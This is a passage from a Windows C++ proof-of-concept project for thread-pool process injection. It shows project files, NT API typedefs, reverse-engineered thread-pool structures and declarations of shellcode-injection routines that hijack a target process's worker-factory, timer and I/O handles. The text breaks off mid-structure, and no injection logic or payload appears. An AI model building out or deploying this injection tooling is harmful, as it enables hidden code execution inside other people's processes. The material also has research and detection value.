├── .gitignore
├── README.md
├── ThreadPoolInjection.sln
├── ThreadPoolInjection.vcxproj
├── ThreadPoolInjection.vcxproj.filters
├── ThreadPoolInjection.vcxproj.user
├── include
├── Defs.hpp
├── FunctionPtrs.hpp
├── Injection.hpp
├── Main.hpp
├── Process.hpp
├── Structures.hpp
└── Utils.hpp
└── src
├── IoInject.cpp
├── Main.cpp
├── Process.cpp
├── TimerInject.cpp
├── Utils.cpp
└── WorkInject.cpp
/.gitignore:
--------------------------------------------------------------------------------
1 | *.d
2 | *.slo
3 | *.lo
4 | *.o
5 | *.obj
6 | *.gch
7 | *.pch
8 | *.so
9 | *.dylib
10 | *.dll
11 | *.lai
12 | *.la
13 | *.a
14 | *.exe
15 | *.out
16 | *.app
17 | *.db
18 | *.key
19 | *.pem
20 | *.crt
21 | *.vs
22 | **/.DS_STORE
23 | cmake-build-*/
24 | **/.idea/
25 | **/.vscode/
26 | ThreadPo.1afd1ba3
27 | x64
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Thread-Pool-Injection-PoC
2 | Unreliable, risky, and naive. Use at your own risk.
3 |
--------------------------------------------------------------------------------
/ThreadPoolInjection.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.34031.279
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ThreadPoolInjection", "ThreadPoolInjection.vcxproj", "{1AFD1BA3-028A-4E0F-82A8-095F38694ECF}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Debug|x64.ActiveCfg = Debug|x64
17 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Debug|x64.Build.0 = Debug|x64
18 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Debug|x86.ActiveCfg = Debug|Win32
19 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Debug|x86.Build.0 = Debug|Win32
20 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Release|x64.ActiveCfg = Release|x64
21 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Release|x64.Build.0 = Release|x64
22 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Release|x86.ActiveCfg = Release|Win32
23 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {7471A636-BCDC-4DCD-8437-E3C49CC1048B}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/ThreadPoolInjection.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 17.0
23 | Win32Proj
24 | {1afd1ba3-028a-4e0f-82a8-095f38694ecf}
25 | ThreadPoolInjection
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 | true
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 |
108 |
109 | Console
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | true
118 | true
119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
120 | true
121 | false
122 |
123 |
124 | Console
125 | true
126 | true
127 | true
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
--------------------------------------------------------------------------------
/ThreadPoolInjection.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 | Source Files
32 |
33 |
34 | Source Files
35 |
36 |
37 |
38 |
39 | Header Files
40 |
41 |
42 | Header Files
43 |
44 |
45 | Header Files
46 |
47 |
48 | Header Files
49 |
50 |
51 | Header Files
52 |
53 |
54 | Header Files
55 |
56 |
57 | Header Files
58 |
59 |
60 |
--------------------------------------------------------------------------------
/ThreadPoolInjection.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | true
5 |
6 |
--------------------------------------------------------------------------------
/include/Defs.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define MY_MESSAGE "I did it for the vine."
4 | #define WIN32_ERR(API) std::cout << "{!!} " << #API << " failed with error: " << GetLastError() << std::endl;
5 | #define NTAPI_ERR(API, status) std::cout << "{!!} " << #API << " failed with status: " << std::hex << status << std::endl;
6 |
7 | // Worker Factory
8 | #define WORKER_FACTORY_RELEASE_WORKER 0x0001
9 | #define WORKER_FACTORY_WAIT 0x0002
10 | #define WORKER_FACTORY_SET_INFORMATION 0x0004
11 | #define WORKER_FACTORY_QUERY_INFORMATION 0x0008
12 | #define WORKER_FACTORY_READY_WORKER 0x0010
13 | #define WORKER_FACTORY_SHUTDOWN 0x0020
14 |
15 | #define WORKER_FACTORY_ALL_ACCESS ( \
16 | STANDARD_RIGHTS_REQUIRED | \
17 | WORKER_FACTORY_RELEASE_WORKER | \
18 | WORKER_FACTORY_WAIT | \
19 | WORKER_FACTORY_SET_INFORMATION | \
20 | WORKER_FACTORY_QUERY_INFORMATION | \
21 | WORKER_FACTORY_READY_WORKER | \
22 | WORKER_FACTORY_SHUTDOWN \
23 | )
24 |
25 | // IO
26 | #define IO_COMPLETION_MODIFY_STATE 0x0002
27 | #define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3)
28 |
29 | #define IO_QOS_MAX_RESERVATION 1000000000ULL
30 |
31 |
32 | // Timer
33 | #define TIMER_QUERY_STATE 0x0001
34 | #define TIMER_MODIFY_STATE 0x0002
35 |
36 | #define TIMER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\
37 | TIMER_QUERY_STATE|TIMER_MODIFY_STATE)
38 |
39 | enum HandleHijackClass {
40 | TpIoPort,
41 | TpWorkerFactory,
42 | TpTimer
43 | };
44 |
45 |
46 |
--------------------------------------------------------------------------------
/include/FunctionPtrs.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include "Structures.hpp"
5 |
6 | typedef NTSTATUS(NTAPI* fnNtQueryInformationProcess)(
7 |
8 | _In_ HANDLE ProcessHandle,
9 | _In_ PROCESSINFOCLASS ProcessInformationClass,
10 | _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation,
11 | _In_ ULONG ProcessInformationLength,
12 | _Out_opt_ PULONG ReturnLength
13 | );
14 |
15 | typedef NTSTATUS(NTAPI* fnTpAllocJobNotification)(
16 |
17 | _Out_ PFULL_TP_JOB* JobReturn,
18 | _In_ HANDLE HJob,
19 | _In_ PVOID Callback,
20 | _Inout_opt_ PVOID Context,
21 | _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron
22 | );
23 |
24 | typedef NTSTATUS(NTAPI* fnNtQueryObject)(
25 |
26 | _In_opt_ HANDLE Handle,
27 | _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
28 | _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation,
29 | _In_ ULONG ObjectInformationLength,
30 | _Out_opt_ PULONG ReturnLength
31 | );
32 |
33 | typedef NTSTATUS(NTAPI* fnRtlAdjustPrivilege)(
34 |
35 | _In_ ULONG Privilege,
36 | _In_ BOOLEAN Enable,
37 | _In_ BOOLEAN Client,
38 | _Out_ PBOOLEAN WasEnabled
39 | );
40 |
41 | typedef NTSTATUS(NTAPI* fnNtQuerySystemInformation)(
42 |
43 | SYSTEM_INFORMATION_CLASS SystemInformationClass,
44 | PVOID SystemInformation,
45 | ULONG SystemInformationLength,
46 | PULONG ReturnLength
47 | );
48 |
49 | typedef NTSTATUS(NTAPI* fnNtAssociateWaitCompletionPacket)(
50 |
51 | _In_ HANDLE WaitCompletionPacketHandle,
52 | _In_ HANDLE IoCompletionHandle,
53 | _In_ HANDLE TargetObjectHandle,
54 | _In_opt_ PVOID KeyContext,
55 | _In_opt_ PVOID ApcContext,
56 | _In_ NTSTATUS IoStatus,
57 | _In_ ULONG_PTR IoStatusInformation,
58 | _Out_opt_ PBOOLEAN AlreadySignaled
59 | );
60 |
61 | typedef NTSTATUS(NTAPI* fnNtSetInformationFile)(
62 |
63 | _In_ HANDLE FileHandle,
64 | _Out_ PIO_STATUS_BLOCK IoStatusBlock,
65 | _In_reads_bytes_(Length) PVOID FileInformation,
66 | _In_ ULONG Length,
67 | _In_ FILE_INFORMATION_CLASS FileInformationClass
68 | );
69 |
70 | typedef NTSTATUS(NTAPI* fnNtAlpcCreatePort)(
71 |
72 | _Out_ PHANDLE PortHandle,
73 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
74 | _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes
75 | );
76 |
77 | typedef NTSTATUS(NTAPI* fnTpAllocAlpcCompletion)(
78 |
79 | _Out_ PFULL_TP_ALPC* AlpcReturn,
80 | _In_ HANDLE AlpcPort,
81 | _In_ PTP_ALPC_CALLBACK Callback,
82 | _Inout_opt_ PVOID Context,
83 | _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron
84 | );
85 |
86 | typedef NTSTATUS(NTAPI* fnRtlInitUnicodeString)(
87 |
88 | _In_ PUNICODE_STRING DestinationString,
89 | _In_ PCWSTR SourceString
90 | );
91 |
92 | typedef NTSTATUS(NTAPI* fnNtAlpcSetInformation)(
93 |
94 | _In_ HANDLE PortHandle,
95 | _In_ ULONG PortInformationClass,
96 | _In_reads_bytes_opt_(Length) PVOID PortInformation,
97 | _In_ ULONG Length
98 | );
99 |
100 | typedef NTSTATUS(NTAPI* fnNtAlpcConnectPort)(
101 |
102 | _Out_ PHANDLE PortHandle,
103 | _In_ PUNICODE_STRING PortName,
104 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
105 | _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes,
106 | _In_ DWORD ConnectionFlags,
107 | _In_opt_ PSID RequiredServerSid,
108 | _In_opt_ PPORT_MESSAGE ConnectionMessage,
109 | _Inout_opt_ PSIZE_T ConnectMessageSize,
110 | _In_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes,
111 | _In_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes,
112 | _In_opt_ PLARGE_INTEGER Timeout
113 | );
114 |
115 | typedef NTSTATUS(NTAPI* fnNtSetIoCompletion)(
116 |
117 | _In_ HANDLE IoCompletionHandle,
118 | _In_opt_ PVOID KeyContext,
119 | _In_opt_ PVOID ApcContext,
120 | _In_ NTSTATUS IoStatus,
121 | _In_ ULONG_PTR IoStatusInformation
122 | );
123 |
124 | typedef NTSTATUS(NTAPI* fnNtQueryInformationWorkerFactory)(
125 |
126 | _In_ HANDLE WorkerFactoryHandle,
127 | _In_ QUERY_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,
128 | _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,
129 | _In_ ULONG WorkerFactoryInformationLength,
130 | _Out_opt_ PULONG ReturnLength
131 | );
132 |
133 | typedef NTSTATUS(NTAPI* fnNtSetTimer2)(
134 |
135 | _In_ HANDLE TimerHandle,
136 | _In_ PLARGE_INTEGER DueTime,
137 | _In_opt_ PLARGE_INTEGER Period,
138 | _In_ PT2_SET_PARAMETERS Parameters
139 | );
140 |
141 | typedef NTSTATUS(NTAPI* fnNtSetInformationWorkerFactory)(
142 |
143 | _In_ HANDLE WorkerFactoryHandle,
144 | _In_ SET_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,
145 | _In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,
146 | _In_ ULONG WorkerFactoryInformationLength
147 | );
--------------------------------------------------------------------------------
/include/Injection.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 | #include "FunctionPtrs.hpp"
6 | #include "Structures.hpp"
7 | #include "Defs.hpp"
8 |
9 | //IO
10 | bool InjectViaJobCallback(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort);
11 | bool InjectViaTpWait(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort);
12 | bool InjectViaTpIo(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort);
13 | bool InjectViaAlpc(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort);
14 | bool InjectViaTpDirect(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort);
15 |
16 | //TIMER
17 | bool InjectViaTpTimer(_In_ HANDLE hWorkerFactory, _In_ HANDLE hTimer, _In_ void* payloadAddress, _In_ HANDLE targetProcess);
18 |
19 | //WORKER FACTORY / TP_WORK
20 | bool InjectViaWorkerFactoryStartRoutine(_In_ HANDLE targetProcess, _In_ HANDLE hWorkerFactory, _In_ void* localPayloadAddress, _In_ size_t payloadSize);
21 | bool InjectViaTpWork(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hWorkerFactory);
22 |
--------------------------------------------------------------------------------
/include/Main.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include "Defs.hpp"
7 | #include "Injection.hpp"
8 | #include "Utils.hpp"
9 | #include "Process.hpp"
--------------------------------------------------------------------------------
/include/Process.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include "Defs.hpp"
5 | #include "Injection.hpp"
6 | #include "Utils.hpp"
7 |
8 | class Process {
9 | private:
10 | void* remotePayload = nullptr;
11 | HANDLE handleToHijack = nullptr;
12 | HANDLE processHandle = nullptr;
13 | bool isInitialized = false;
14 | uint32_t PID = 0;
15 |
16 | HandleHijackClass hijackType;
17 | public:
18 | bool injectShellcode();
19 | bool ProcessAlpcInject();
20 | bool ProcessJobInject();
21 | bool ProcessWaitInject();
22 | bool ProcessTpIoInject();
23 | bool ProcessTpDirectInject();
24 | bool ProcessTimerInject();
25 | bool ProcessWorkInject();
26 | bool ProcessWorkerFactoryInject();
27 | bool init();
28 |
29 | ~Process();
30 | Process(uint32_t _PID, HandleHijackClass hijackType)
31 | : PID(_PID), hijackType(hijackType) {}
32 | };
--------------------------------------------------------------------------------
/include/Structures.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 |
5 | typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO
6 | {
7 | HANDLE HandleValue;
8 | ULONG_PTR HandleCount;
9 | ULONG_PTR PointerCount;
10 | ACCESS_MASK GrantedAccess;
11 | ULONG ObjectTypeIndex;
12 | ULONG HandleAttributes;
13 | ULONG Reserved;
14 | } PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;
15 |
16 |
17 | typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
18 | {
19 | ULONG_PTR NumberOfHandles;
20 | ULONG_PTR Reserved;
21 | PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[ANYSIZE_ARRAY];
22 | } PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;
23 |
24 |
25 | typedef struct _WORKER_FACTORY_BASIC_INFORMATION
26 | {
27 | LARGE_INTEGER Timeout;
28 | LARGE_INTEGER RetryTimeout;
29 | LARGE_INTEGER IdleTimeout;
30 | BOOLEAN Paused;
31 | BOOLEAN TimerSet;
32 | BOOLEAN QueuedToExWorker;
33 | BOOLEAN MayCreate;
34 | BOOLEAN CreateInProgress;
35 | BOOLEAN InsertedIntoQueue;
36 | BOOLEAN Shutdown;
37 | ULONG BindingCount;
38 | ULONG ThreadMinimum;
39 | ULONG ThreadMaximum;
40 | ULONG PendingWorkerCount;
41 | ULONG WaitingWorkerCount;
42 | ULONG TotalWorkerCount;
43 | ULONG ReleaseCount;
44 | LONGLONG InfiniteWaitGoal;
45 | PVOID StartRoutine;
46 | PVOID StartParameter;
47 | HANDLE ProcessId;
48 | SIZE_T StackReserve;
49 | SIZE_T StackCommit;
50 | NTSTATUS LastThreadCreationStatus;
51 | } WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION;
52 |
53 |
54 | typedef enum _SET_WORKERFACTORYINFOCLASS
55 | {
56 | WorkerFactoryTimeout = 0,
57 | WorkerFactoryRetryTimeout = 1,
58 | WorkerFactoryIdleTimeout = 2,
59 | WorkerFactoryBindingCount = 3,
60 | WorkerFactoryThreadMinimum = 4,
61 | WorkerFactoryThreadMaximum = 5,
62 | WorkerFactoryPaused = 6,
63 | WorkerFactoryAdjustThreadGoal = 8,
64 | WorkerFactoryCallbackType = 9,
65 | WorkerFactoryStackInformation = 10,
66 | WorkerFactoryThreadBasePriority = 11,
67 | WorkerFactoryTimeoutWaiters = 12,
68 | WorkerFactoryFlags = 13,
69 | WorkerFactoryThreadSoftMaximum = 14,
70 | WorkerFactoryMaxInfoClass = 15 /* Not implemented */
71 | } SET_WORKERFACTORYINFOCLASS, * PSET_WORKERFACTORYINFOCLASS;
72 |
73 |
74 | typedef enum _QUERY_WORKERFACTORYINFOCLASS
75 | {
76 | WorkerFactoryBasicInformation = 7,
77 | } QUERY_WORKERFACTORYINFOCLASS, * PQUERY_WORKERFACTORYINFOCLASS;
78 |
79 |
80 | typedef enum
81 | {
82 | SeDebugPrivilege = 20
83 | } PRIVILEGES;
84 |
85 |
86 |
87 |
88 |
89 | typedef struct _TP_TASK_CALLBACKS
90 | {
91 | void* ExecuteCallback;
92 | void* Unposted;
93 | } TP_TASK_CALLBACKS, * PTP_TASK_CALLBACKS;
94 |
95 |
96 | typedef struct _TP_TASK
97 | {
98 | struct _TP_TASK_CALLBACKS* Callbacks;
99 | UINT32 NumaNode;
100 | UINT8 IdealProcessor;
101 | char Padding_242[3];
102 | struct _LIST_ENTRY ListEntry;
103 | } TP_TASK, * PTP_TASK;
104 |
105 |
106 | typedef struct _TPP_REFCOUNT
107 | {
108 | volatile INT32 Refcount;
109 | } TPP_REFCOUNT, * PTPP_REFCOUNT;
110 |
111 |
112 | typedef struct _TPP_CALLER
113 | {
114 | void* ReturnAddress;
115 | } TPP_CALLER, * PTPP_CALLER;
116 |
117 |
118 | typedef struct _TPP_PH
119 | {
120 | struct _TPP_PH_LINKS* Root;
121 | } TPP_PH, * PTPP_PH;
122 |
123 |
124 | typedef struct _TP_DIRECT
125 | {
126 | struct _TP_TASK Task;
127 | UINT64 Lock;
128 | struct _LIST_ENTRY IoCompletionInformationList;
129 | void* Callback;
130 | UINT32 NumaNode;
131 | UINT8 IdealProcessor;
132 | char __PADDING__[3];
133 | } TP_DIRECT, * PTP_DIRECT;
134 |
135 |
136 | typedef struct _TPP_TIMER_SUBQUEUE
137 | {
138 | INT64 Expiration;
139 | struct _TPP_PH WindowStart;
140 | struct _TPP_PH WindowEnd;
141 | void* Timer;
142 | void* TimerPkt;
143 | struct _TP_DIRECT Direct;
144 | UINT32 ExpirationWindow;
145 | INT32 __PADDING__[1];
146 | } TPP_TIMER_SUBQUEUE, * PTPP_TIMER_SUBQUEUE;
147 |
148 |
149 | typedef struct _TPP_TIMER_QUEUE
150 | {
151 | struct _RTL_SRWLOCK Lock;
152 | struct _TPP_TIMER_SUBQUEUE AbsoluteQueue;
153 | struct _TPP_TIMER_SUBQUEUE RelativeQueue;
154 | INT32 AllocatedTimerCount;
155 | INT32 __PADDING__[1];
156 | } TPP_TIMER_QUEUE, * PTPP_TIMER_QUEUE;
157 |
158 |
159 | typedef struct _TPP_NUMA_NODE
160 | {
161 | INT32 WorkerCount;
162 | } TPP_NUMA_NODE, * PTPP_NUMA_NODE;
163 |
164 |
165 | typedef union _TPP_POOL_QUEUE_STATE
166 | {
167 | union
168 | {
169 | INT64 Exchange;
170 | struct
171 | {
172 | INT32 RunningThreadGoal : 16;
173 | UINT32 PendingReleaseCount : 16;
174 | UINT32 QueueLength;
175 | };
176 | };
177 | } TPP_POOL_QUEUE_STATE, * PTPP_POOL_QUEUE_STATE;
178 |
179 |
180 | typedef struct _TPP_QUEUE
181 | {
182 | struct _LIST_ENTRY Queue;
183 | struct _RTL_SRWLOCK Lock;
184 | } TPP_QUEUE, * PTPP_QUEUE;
185 |
186 |
187 | typedef struct _FULL_TP_POOL
188 | {
189 | struct _TPP_REFCOUNT Refcount;
190 | long Padding_239;
191 | union _TPP_POOL_QUEUE_STATE QueueState;
192 | struct _TPP_QUEUE* TaskQueue[3];
193 | struct _TPP_NUMA_NODE* NumaNode;
194 | struct _GROUP_AFFINITY* ProximityInfo;
195 | void* WorkerFactory;
196 | void* CompletionPort;
197 | struct _RTL_SRWLOCK Lock;
198 | struct _LIST_ENTRY PoolObjectList;
199 | struct _LIST_ENTRY WorkerList;
200 | struct _TPP_TIMER_QUEUE TimerQueue;
201 | struct _RTL_SRWLOCK ShutdownLock;
202 | UINT8 ShutdownInitiated;
203 | UINT8 Released;
204 | UINT16 PoolFlags;
205 | long Padding_240;
206 | struct _LIST_ENTRY PoolLinks;
207 | struct _TPP_CALLER AllocCaller;
208 | struct _TPP_CALLER ReleaseCaller;
209 | volatile INT32 AvailableWorkerCount;
210 | volatile INT32 LongRunningWorkerCount;
211 | UINT32 LastProcCount;
212 | volatile INT32 NodeStatus;
213 | volatile INT32 BindingCount;
214 | UINT32 CallbackChecksDisabled : 1;
215 | UINT32 TrimTarget : 11;
216 | UINT32 TrimmedThrdCount : 11;
217 | UINT32 SelectedCpuSetCount;
218 | long Padding_241;
219 | struct _RTL_CONDITION_VARIABLE TrimComplete;
220 | struct _LIST_ENTRY TrimmedWorkerList;
221 | } FULL_TP_POOL, * PFULL_TP_POOL;
222 |
223 |
224 | typedef struct _ALPC_WORK_ON_BEHALF_TICKET
225 | {
226 | UINT32 ThreadId;
227 | UINT32 ThreadCreationTimeLow;
228 | } ALPC_WORK_ON_BEHALF_TICKET, * PALPC_WORK_ON_BEHALF_TICKET;
229 |
230 |
231 | typedef union _TPP_WORK_STATE
232 | {
233 | union
234 | {
235 | INT32 Exchange;
236 | UINT32 Insertable : 1;
237 | UINT32 PendingCallbackCount : 31;
238 | };
239 | } TPP_WORK_STATE, * PTPP_WORK_STATE;
240 |
241 |
242 | typedef struct _TPP_ITE_WAITER
243 | {
244 | struct _TPP_ITE_WAITER* Next;
245 | void* ThreadId;
246 | } TPP_ITE_WAITER, * PTPP_ITE_WAITER;
247 |
248 |
249 | typedef struct _TPP_PH_LINKS
250 | {
251 | struct _LIST_ENTRY Siblings;
252 | struct _LIST_ENTRY Children;
253 | INT64 Key;
254 | } TPP_PH_LINKS, * PTPP_PH_LINKS;
255 |
256 |
257 | typedef struct _TPP_ITE
258 | {
259 | struct _TPP_ITE_WAITER* First;
260 | } TPP_ITE, * PTPP_ITE;
261 |
262 |
263 | typedef union _TPP_FLAGS_COUNT
264 | {
265 | union
266 | {
267 | UINT64 Count : 60;
268 | UINT64 Flags : 4;
269 | INT64 Data;
270 | };
271 | } TPP_FLAGS_COUNT, * PTPP_FLAGS_COUNT;
272 |
273 |
274 | typedef struct _TPP_BARRIER
275 | {
276 | volatile union _TPP_FLAGS_COUNT Ptr;
277 | struct _RTL_SRWLOCK WaitLock;
278 | struct _TPP_ITE WaitList;
279 | } TPP_BARRIER, * PTPP_BARRIER;
280 |
281 |
282 | typedef struct _TP_CLEANUP_GROUP
283 | {
284 | struct _TPP_REFCOUNT Refcount;
285 | INT32 Released;
286 | struct _RTL_SRWLOCK MemberLock;
287 | struct _LIST_ENTRY MemberList;
288 | struct _TPP_BARRIER Barrier;
289 | struct _RTL_SRWLOCK CleanupLock;
290 | struct _LIST_ENTRY CleanupList;
291 | } TP_CLEANUP_GROUP, * PTP_CLEANUP_GROUP;
292 |
293 |
294 | typedef struct _TPP_CLEANUP_GROUP_MEMBER
295 | {
296 | struct _TPP_REFCOUNT Refcount;
297 | long Padding_233;
298 | const struct _TPP_CLEANUP_GROUP_MEMBER_VFUNCS* VFuncs;
299 | struct _TP_CLEANUP_GROUP* CleanupGroup;
300 | void* CleanupGroupCancelCallback;
301 | void* FinalizationCallback;
302 | struct _LIST_ENTRY CleanupGroupMemberLinks;
303 | struct _TPP_BARRIER CallbackBarrier;
304 | union
305 | {
306 | void* Callback;
307 | void* WorkCallback;
308 | void* SimpleCallback;
309 | void* TimerCallback;
310 | void* WaitCallback;
311 | void* IoCallback;
312 | void* AlpcCallback;
313 | void* AlpcCallbackEx;
314 | void* JobCallback;
315 | };
316 | void* Context;
317 | struct _ACTIVATION_CONTEXT* ActivationContext;
318 | void* SubProcessTag;
319 | struct _GUID ActivityId;
320 | struct _ALPC_WORK_ON_BEHALF_TICKET WorkOnBehalfTicket;
321 | void* RaceDll;
322 | FULL_TP_POOL* Pool;
323 | struct _LIST_ENTRY PoolObjectLinks;
324 | union
325 | {
326 | volatile INT32 Flags;
327 | UINT32 LongFunction : 1;
328 | UINT32 Persistent : 1;
329 | UINT32 UnusedPublic : 14;
330 | UINT32 Released : 1;
331 | UINT32 CleanupGroupReleased : 1;
332 | UINT32 InCleanupGroupCleanupList : 1;
333 | UINT32 UnusedPrivate : 13;
334 | };
335 | long Padding_234;
336 | struct _TPP_CALLER AllocCaller;
337 | struct _TPP_CALLER ReleaseCaller;
338 | enum _TP_CALLBACK_PRIORITY CallbackPriority;
339 | INT32 __PADDING__[1];
340 | } TPP_CLEANUP_GROUP_MEMBER, * PTPP_CLEANUP_GROUP_MEMBER;
341 |
342 |
343 | typedef struct _FULL_TP_WORK
344 | {
345 | struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;
346 | struct _TP_TASK Task;
347 | volatile union _TPP_WORK_STATE WorkState;
348 | INT32 __PADDING__[1];
349 | } FULL_TP_WORK, * PFULL_TP_WORK;
350 |
351 |
352 | typedef struct _FULL_TP_TIMER
353 | {
354 | struct _FULL_TP_WORK Work;
355 | struct _RTL_SRWLOCK Lock;
356 | union
357 | {
358 | struct _TPP_PH_LINKS WindowEndLinks;
359 | struct _LIST_ENTRY ExpirationLinks;
360 | };
361 | struct _TPP_PH_LINKS WindowStartLinks;
362 | INT64 DueTime;
363 | struct _TPP_ITE Ite;
364 | UINT32 Window;
365 | UINT32 Period;
366 | UINT8 Inserted;
367 | UINT8 WaitTimer;
368 | union
369 | {
370 | UINT8 TimerStatus;
371 | UINT8 InQueue : 1;
372 | UINT8 Absolute : 1;
373 | UINT8 Cancelled : 1;
374 | };
375 | UINT8 BlockInsert;
376 | INT32 __PADDING__[1];
377 | } FULL_TP_TIMER, * PFULL_TP_TIMER;
378 |
379 |
380 | typedef struct _FULL_TP_WAIT
381 | {
382 | struct _FULL_TP_TIMER Timer;
383 | void* Handle;
384 | void* WaitPkt;
385 | void* NextWaitHandle;
386 | union _LARGE_INTEGER NextWaitTimeout;
387 | struct _TP_DIRECT Direct;
388 | union
389 | {
390 | union
391 | {
392 | UINT8 AllFlags;
393 | UINT8 NextWaitActive : 1;
394 | UINT8 NextTimeoutActive : 1;
395 | UINT8 CallbackCounted : 1;
396 | UINT8 Spare : 5;
397 | };
398 | } WaitFlags;
399 | char __PADDING__[7];
400 | } FULL_TP_WAIT, * PFULL_TP_WAIT;
401 |
402 |
403 | typedef struct _FULL_TP_IO
404 | {
405 | struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;
406 | struct _TP_DIRECT Direct;
407 | void* File;
408 | volatile INT32 PendingIrpCount;
